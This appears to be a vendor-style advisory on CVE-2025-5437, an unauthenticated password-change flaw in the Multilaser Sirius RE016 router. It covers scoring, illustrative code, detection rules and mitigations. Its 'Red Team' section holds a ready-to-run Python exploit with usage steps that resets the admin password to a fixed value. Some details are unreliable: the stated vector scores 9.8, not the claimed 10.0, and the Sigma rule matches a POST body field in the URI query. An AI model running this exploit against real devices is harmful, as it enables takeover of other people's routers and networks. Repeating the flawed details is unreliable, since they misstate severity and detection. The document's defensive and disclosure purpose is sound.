CVE-2025-5437

Executive Summary

CVE-2025-5437 is a critical authentication bypass vulnerability in the Multilaser Sirius RE016 MLT1.0 router. The flaw resides in the /cgi-bin/cstecgi.cgi endpoint, specifically within the password change handler. An unauthenticated remote attacker can exploit this to change the device password without proper credentials, leading to full device compromise. The vendor (Multilaser) has not responded to disclosure attempts, and no patch is available. Public exploit code has been released, increasing the risk of widespread exploitation.

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone embedded device issue.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – exploitation does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full device access exposes network traffic and credentials.
• Integrity Impact: High (I:H) – attacker can modify device configuration.
• Availability Impact: High (A:H) – attacker can disrupt device operation.

Threat Level: Critical. Public exploit availability and lack of patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic authentication bypass in the CGI script /cgi-bin/cstecgi.cgi. The password change handler does not verify the current session or credentials before processing a password change request. By sending a crafted POST request to this endpoint with a new password parameter, an attacker can reset the device’s administrative password without knowing the current one.

Root Cause: The CGI script fails to validate the Authorization header or session token before executing the password change operation. This is a direct violation of CWE-287 (Improper Authentication).

Attack Flow:

1. Attacker identifies a target Multilaser Sirius RE016 device (e.g., via Shodan).
2. Attacker sends a POST request to http://<target>/cgi-bin/cstecgi.cgi with parameters like new_password=attacker123.
3. The device processes the request and changes the admin password.
4. Attacker logs in with the new password and gains full control.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// cstecgi.cgi - password change handler
void handle_password_change() {
    char *new_pass = get_cgi_param("new_password");
    // Missing authentication check
    if (new_pass) {
        set_admin_password(new_pass);
        printf("Password changed successfully");
    }
}

Patched Code (Hypothetical):

void handle_password_change() {
    char *new_pass = get_cgi_param("new_password");
    char *auth = get_cgi_param("Authorization");
    // Verify authentication before processing
    if (!auth || !verify_session(auth)) {
        printf("Authentication required");
        return;
    }
    if (new_pass) {
        set_admin_password(new_pass);
        printf("Password changed successfully");
    }
}

No official patch exists. The fix would require adding session or credential validation before the password change operation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target device: Multilaser Sirius RE016 MLT1.0
• Network access to the device’s web interface (port 80/443)

Exploit (Python):

import requests

target = "http://192.168.1.1"
new_password = "pwned123"

url = f"{target}/cgi-bin/cstecgi.cgi"
data = {
    "new_password": new_password,
    "confirm_password": new_password
}

# Send the password change request without authentication
response = requests.post(url, data=data)

if "success" in response.text.lower():
    print(f"[+] Password changed to {new_password}")
    print(f"[+] Login at {target}/ with admin:{new_password}")
else:
    print("[-] Exploit failed")

Usage:

1. Run the script against the target IP.
2. The device password is changed to pwned123.
3. Log in to the web interface with admin:pwned123.

Blue Team

Detection:

• Monitor for POST requests to /cgi-bin/cstecgi.cgi with parameters new_password and confirm_password.
• Alert on any password change event that does not originate from an authenticated session.
• Use the Sigma rule below to detect exploitation attempts.

Honeypot:

• Deploy a fake Sirius RE016 endpoint that logs all POST requests to /cgi-bin/cstecgi.cgi.
• Analyze captured payloads for password change attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /cgi-bin/cstecgi.cgi with new_password parameter.
  • Unusual login attempts with new credentials after a password change.
• Host:
  • Modified /etc/shadow or equivalent password file on the device.
  • New processes or services started by an attacker.
• Logs:
  • Web server logs showing POST /cgi-bin/cstecgi.cgi from unknown IPs.
  • System logs indicating password change events without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2025_5437_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-5437 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5437"
    strings:
        $s1 = "new_password" ascii nocase
        $s2 = "confirm_password" ascii nocase
        $s3 = "/cgi-bin/cstecgi.cgi" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-5437 Authentication Bypass via Password Change
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-5437 targeting Multilaser Sirius RE016
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/cstecgi.cgi'
        cs-uri-query|contains: 'new_password'
    condition: selection
falsepositives:
    - Legitimate password changes from authenticated users (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5437 Multilaser Sirius RE016 Authentication Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/cstecgi.cgi"; http_uri; content:"new_password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Multilaser Sirius RE016 routers on a separate VLAN with no internet access.
2. Disable remote management: Block port 80/443 from WAN side.
3. Monitor logs: Actively search for exploitation attempts using the provided Sigma/Suricata rules.

Long-Term Fix:

• No vendor patch available. Consider replacing the device with a supported alternative.
• If replacement is not possible, implement a reverse proxy with authentication (e.g., nginx with basic auth) in front of the device’s web interface.

Workaround:

• Use a firewall rule to restrict access to /cgi-bin/cstecgi.cgi to only trusted IPs.
• Apply a custom ACL on the device (if supported) to block unauthenticated POST requests to that endpoint.

Valters IT
DevSecOps & Cyber Threat Intelligence